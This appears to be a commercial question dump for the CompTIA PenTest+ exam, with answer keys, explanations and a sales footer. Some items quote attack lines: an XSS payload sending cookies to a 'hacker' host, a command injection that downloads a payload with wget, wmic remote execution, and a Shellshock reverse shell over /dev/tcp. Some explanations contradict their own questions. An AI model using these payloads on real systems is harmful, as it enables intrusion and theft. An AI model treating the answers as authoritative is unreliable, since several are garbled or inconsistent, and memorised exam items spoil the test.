If a penetration tester was able to access the organization's wireless network from outside of the building using Aircrack-ng, then it means that the wireless network was not secured with strong encryption or authentication methods. Aircrack-ng is a tool that can crack weak wireless encryption schemes such as WEP or WPA-PSK using various techniques such as packet capture, injection, replay, and brute force. To remediate this issue, the client should change to Wi-Fi

equipment that supports strong encryption such as WPA2 or WPA3, which are more resistant to cracking attacks. Using directional antennae may reduce the signal range of the wireless network, but it would not prevent an attacker who is within range from cracking the encryption. Using WEP encryption is not a good recommendation, as WEP is known to be insecure and vulnerable to Aircrack-ng attacks. Disabling Wi-Fi may eliminate the risk of wireless attacks, but it would also eliminate the benefits of wireless connectivity for the organization.

NEW QUESTION 133

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

- A. The penetration tester conducts a retest.
- B. The penetration tester deletes all scripts from the client machines.
- C. The client applies patches to the systems.
- D. The client clears system logs generated during the test.

Answer: C

NEW QUESTION 138

A penetration tester runs the following command: `!comptia.local axfr comptia.local` which of the following types of information would be provided?

- A. The DNSSEC certificate and CA
- B. The DHCP scopes and ranges used on the network
- C. The hostnames and IP addresses of internal systems
- D. The OS and version of the DNS server

Answer: C

Explanation:

The command `dig @ns1.comptia.local axfr comptia.local` is a command that performs a DNS zone transfer, which is a process of copying the entire DNS database or zone file from a primary DNS server to a secondary DNS server. A DNS zone file contains records that map domain names to IP addresses and other information, such as mail servers, name servers, or aliases. A DNS zone transfer can provide useful information for enumeration, such as the hostnames and IP addresses of internal systems, which can help identify potential targets or vulnerabilities. A DNS zone transfer can be performed by using tools such as dig, which is a tool that can query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records¹. The other options are not types of information that would be provided by a DNS zone transfer. The DNSSEC certificate and CA are not part of the DNS zone file, but rather part of the DNSSEC protocol, which is an extension of the DNS protocol that provides authentication and integrity for DNS data. The DHCP scopes and ranges used on the network are not part of the DNS zone file, but rather part of the DHCP protocol, which is a protocol that assigns dynamic IP addresses and other configuration parameters to devices on a network. The OS and version of the DNS server are not part of the DNS zone file, but rather part of the OS fingerprinting technique, which is a technique that identifies the OS and version of a remote system by analyzing its responses to network probes.

NEW QUESTION 142

A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:

Host name	IP	OS	Security updates
addc01.local	10.1.1.20	Windows Server 2012	KB4581001, KB4585587, KB4586007
addc02.local	10.1.1.21	Windows Server 2012	KB4586007
dnsint.local	10.1.1.22	Windows Server 2012	KB4581001, KB4585587, KB4586007, KB4586010
wwwint.local	10.1.1.23	Windows Server 2012	KB4581001

Which of the following would be a recommendation for remediation?

- A. Deploy a user training program
- B. Implement a patch management plan
- C. Utilize the secure software development life cycle
- D. Configure access controls on each of the servers

Answer: B

NEW QUESTION 143

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

Answer: CE

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the `<` character into the `<` string when writing to an HTML page. Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a

technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.

NEW QUESTION 144

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

```
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
```

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`
- C. `chmod 600 /tmp/apache`
- D. `taskkill /IM "apache" /F`

Answer: B

Explanation:

The exploit code is a command injection attack that uses a vulnerable CGI script to execute arbitrary commands on the target system. The commands are:

- > `cd /tmp`: change the current directory to /tmp
- > `wget`
`http://10.10.0.1/apache`: download a file named apache from http://10.10.0.1
- > `./apache`: run the file as an executable

The file apache is most likely a malicious payload that gives the attacker remote access to the system or performs some other malicious action. Therefore, the penetration tester should run the command `rm -rf /tmp/apache` post-engagement to remove the file and its traces from the system. The other commands are not effective or relevant for this purpose.

NEW QUESTION 145

A security analyst needs to perform a scan for SMB port 445 over a /16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

- A. `Nmap -s 445 -Pn -T5 172.21.0.0/16`
- B. `Nmap -p 445 -n -T4 -open 172.21.0.0/16`
- C. `Nmap -sV --script=smb* 172.21.0.0/16`
- D. `Nmap -p 445 -max -sT 172. 21.0.0/16`

Answer: B

Explanation:

Nmap is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses. The command `Nmap -p 445 -n -T4 -open 172.21.0.0/16` would scan for SMB port 445 over a /16 network with the following options:

- > `-p 445` specifies the port number to scan.
- > `-n` disables DNS resolution, which can speed up the scan by avoiding unnecessary queries.
- > `-T4` sets the timing template to aggressive, which increases the speed of the scan by sending packets faster and waiting less for responses.
- > `-open` only shows hosts that have open ports, which can reduce the output and focus on relevant results.

The other commands are not optimal for scanning SMB port 445 over a /16 network when stealth is not a concern and the task is time sensitive.

NEW QUESTION 150

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/newbm.pl
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/rmbm.pl
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/pikcthem.pl
https://xx.xx.xx.x/vpn/../../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

- A. Edit the discovered file with one line of code for remote callback
- B. Download .pl files and look for usernames and passwords
- C. Edit the smb.conf file and upload it to the server
- D. Download the smb.conf file and look at configurations

Answer: C

NEW QUESTION 152

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\C$\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 155

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 159

A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)

- A. Setting up a secret management solution for all items in the source code management system
- B. Implementing role-based access control on the source code management system
- C. Configuring multifactor authentication on the source code management system
- D. Leveraging a solution to scan for other similar instances in the source code management system
- E. Developing a secure software development life cycle process for committing code to the source code management system
- F. Creating a trigger that will prevent developers from including passwords in the source code management system

Answer: AE

Explanation:

Access keys are credentials that allow users to authenticate and authorize requests to a source code management (SCM) system, such as GitLab or AWS. Access keys should be kept secret and not exposed in plain text within the source code, as this can compromise the security and integrity of the SCM system and its data. Some possible options for addressing the issue of access keys within an organization's SCM solution are:

➤ Setting up a secret management solution for all items in the SCM system: This is a tool or service that securely stores, manages, and distributes secrets such as access keys, passwords, tokens, certificates, etc. A secret management solution can help prevent secrets from being exposed in plain text within the source code or configuration files.

➤ Developing a secure software development life cycle (SDLC) process for committing code to the SCM system: This is a framework or methodology that defines how software is developed, tested, deployed, and maintained. A secure SDLC process can help ensure that best practices for security are followed throughout the software development process, such as code reviews, static analysis tools, vulnerability scanning tools, etc. A secure SDLC process can help detect and prevent access keys from being included in the source code before they are committed to the SCM system.

NEW QUESTION 164

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

Answer: AC

Explanation:

Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.

NEW QUESTION 168

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

Explanation:

The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.

NEW QUESTION 172

A penetration tester runs the following command on a system: `find / -user root -perm -4000 -print 2>/dev/null`
Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:

the `2>/dev/null` is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session. The tester is trying to find files with the SUID bit set on the system. The SUID (set user ID) bit is a special permission that allows a file to be executed with the privileges of the file owner, regardless of who runs it. This can be used to perform privileged operations or access restricted resources. A penetration tester can use the find command with the -user and -perm options to search for files owned by a specific user (such as root) and having a specific permission (such as 4000, which indicates the SUID bit is set).

NEW QUESTION 177

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?

- A. Stronger algorithmic requirements
- B. Access controls on the server
- C. Encryption on the user passwords
- D. A patch management program

Answer: A

NEW QUESTION 180

Penetration tester is developing exploits to attack multiple versions of a common software package. The versions have different menus and)ut.. they have a common log-in screen that the exploit must use. The penetration tester develops code to perform the log-in that can be each of the exploits targeted to a specific version. Which of the following terms is used to describe this common log-in code example?

- A. Conditional
- B. Library
- C. Dictionary
- D. Sub application

Answer: B

Explanation:

The term that is used to describe the common log-in code example is library, which is a collection of reusable code or functions that can be imported or called by other programs or scripts. A library can help simplify or modularize the code development process by providing common or frequently used functionality that can be shared across different programs or scripts. In this case, the penetration tester develops a library of code to perform the log-in that can be imported or called by each of the exploits targeted to a specific version of the software package. The other options are not valid terms that describe the common log-in code example. Conditional is a programming construct that executes a block of code based on a logical condition or expression, such as if-else statements. Dictionary is a data structure that stores key-value pairs, where each key is associated with a value, such as a Python dictionary. Sub application is not a standard programming term, but it may refer to an application that runs within another application, such as a web application.

NEW QUESTION 185

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

Answer: CD

NEW QUESTION 189

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

Answer: AB

Explanation:

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the customer's systems that were used to aid in the exploitation of systems.

NEW QUESTION 194

An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port      State  Service
22/tcp    open   ssh
23/tcp    open   telnet
60/tcp    open   http
443/tcp   open   https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

- A. Encrypted passwords
- B. System-hardening techniques
- C. Multifactor authentication
- D. Network segmentation

Answer: B

NEW QUESTION 196

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

- A. NDA
- B. MSA
- C. SOW
- D. MOU

Answer: C

Explanation:

As mentioned in question 1, the SOW describes the specific activities, deliverables, and schedules for a penetration tester. The other documents are not relevant for this purpose. An NDA is a non-disclosure agreement that protects the confidentiality of the client's information. An MSA is a master service agreement that defines the general terms and conditions of a business relationship. An MOU is a memorandum of understanding that expresses a common intention or agreement between parties.

NEW QUESTION 201

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

- A. Mask
- B. Rainbow
- C. Dictionary
- D. Password spraying

Answer: D

Explanation:

Password spraying is a type of password guessing attack that involves trying one or a few common passwords against many usernames or accounts. Password spraying can avoid account lockout policies that limit the number of failed login attempts per account by spreading out the attempts over time and across different accounts. Password spraying can also increase the chances of success by using passwords that are likely to be used by many users, such as default passwords, seasonal passwords, or company names. Mask is a type of password cracking attack that involves using a mask or a pattern to generate passwords based on known or guessed characteristics of the password, such as length, case, or symbols. Rainbow is a technique of storing precomputed hashes of passwords in a table that can be used to quickly crack passwords by looking up the hashes. Dictionary is a type of password cracking attack that involves using a wordlist or a dictionary of common or likely passwords to try against an account.

NEW QUESTION 203

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

- A. NIST SP 800-53
- B. OWASP Top 10

- C. MITRE ATT&CK framework
- D. PTES technical guidelines

Answer: C

NEW QUESTION 207

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

Explanation:

Credential harvesting is a type of attack that aims to collect usernames and passwords from unsuspecting users by tricking them into entering their credentials on a fake or spoofed website. Credential harvesting can be done by using phishing emails that lure users to click on malicious links or attachments that redirect them to the fake website. The fake website may look identical or similar to the legitimate one, but it will capture and store the user's credentials for later use by the attacker. In this case, the penetration tester set up a fake cloud mail login page and sent phishing emails to all company employees to harvest their credentials.

NEW QUESTION 211

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Answer: A

Explanation:

A dictionary can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools. A dictionary is a collection of key-value pairs that can be accessed by using the keys. For example, a dictionary can store usernames and passwords, or IP addresses and hostnames, that can be used as input for brute-force or reconnaissance tools.

NEW QUESTION 214

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; }; /bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 216

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

Answer: D

Explanation:

The penetration testers should carry copies of the engagement documents with them as proof in case they are discovered by security guards, employees, or law enforcement officials. The engagement documents should include the scope, objectives, authorization, and contact information of the penetration testing team and the client. This will help avoid any legal or ethical issues that may arise from trespassing, breaking and entering, or unauthorized access. The other options are not valid reasons for carrying the engagement documents with them.

NEW QUESTION 220

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees

- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

Answer: AC

Explanation:

Technical and billing addresses are usually posted on company websites and company social media sites for their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

NEW QUESTION 222

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 227

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

Answer: B

Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

NEW QUESTION 228

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

- A. MD5
- B. bcrypt
- C. SHA-1
- D. PBKDF2

Answer: A

NEW QUESTION 231

Which of the following documents describes activities that are prohibited during a scheduled penetration test?

- A. MSA
- B. NDA
- C. ROE
- D. SLA

Answer: C

Explanation:

The document that describes activities that are prohibited during a scheduled penetration test is ROE, which stands for rules of engagement. ROE is a document that defines the scope, objectives, methods, limitations, and expectations of a penetration test. ROE can specify what activities are allowed or prohibited during the penetration test, such as which targets, systems, networks, or services can be tested or attacked, which tools, techniques, or exploits can be used or avoided, which times or dates can be scheduled or excluded, or which impacts or risks can be accepted or mitigated. ROE can help ensure that the penetration test is conducted in a legal, ethical, and professional manner, and that it does not cause any harm or damage to the client or third parties. The other options are not documents that describe activities that are prohibited during a scheduled penetration test. MSA stands for master service agreement, which is a document that defines the general terms and conditions of a contractual relationship between two parties, such as the scope of work, payment terms, warranties, liabilities, or dispute resolution. NDA stands for non-disclosure agreement, which is a document that defines the confidential information that is shared between two parties during a business relationship, such as trade secrets, intellectual property, or customer data. SLA stands for service level agreement, which is a document that defines the quality and performance standards of a service provided by one party to another party, such as availability, reliability, responsiveness, or security.

NEW QUESTION 235

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

Answer: A

Explanation:

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

NEW QUESTION 238

.....

Thank You for Trying Our Product

* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

* One year free update

You can enjoy free update one year. 24x7 online support.

* Trusted by Millions

We currently serve more than 30,000,000 customers.

* Shop Securely

All transactions are protected by VeriSign!

100% Pass Your PT0-002 Exam with Our Prep Materials Via below:

<https://www.certleader.com/PT0-002-dumps.html>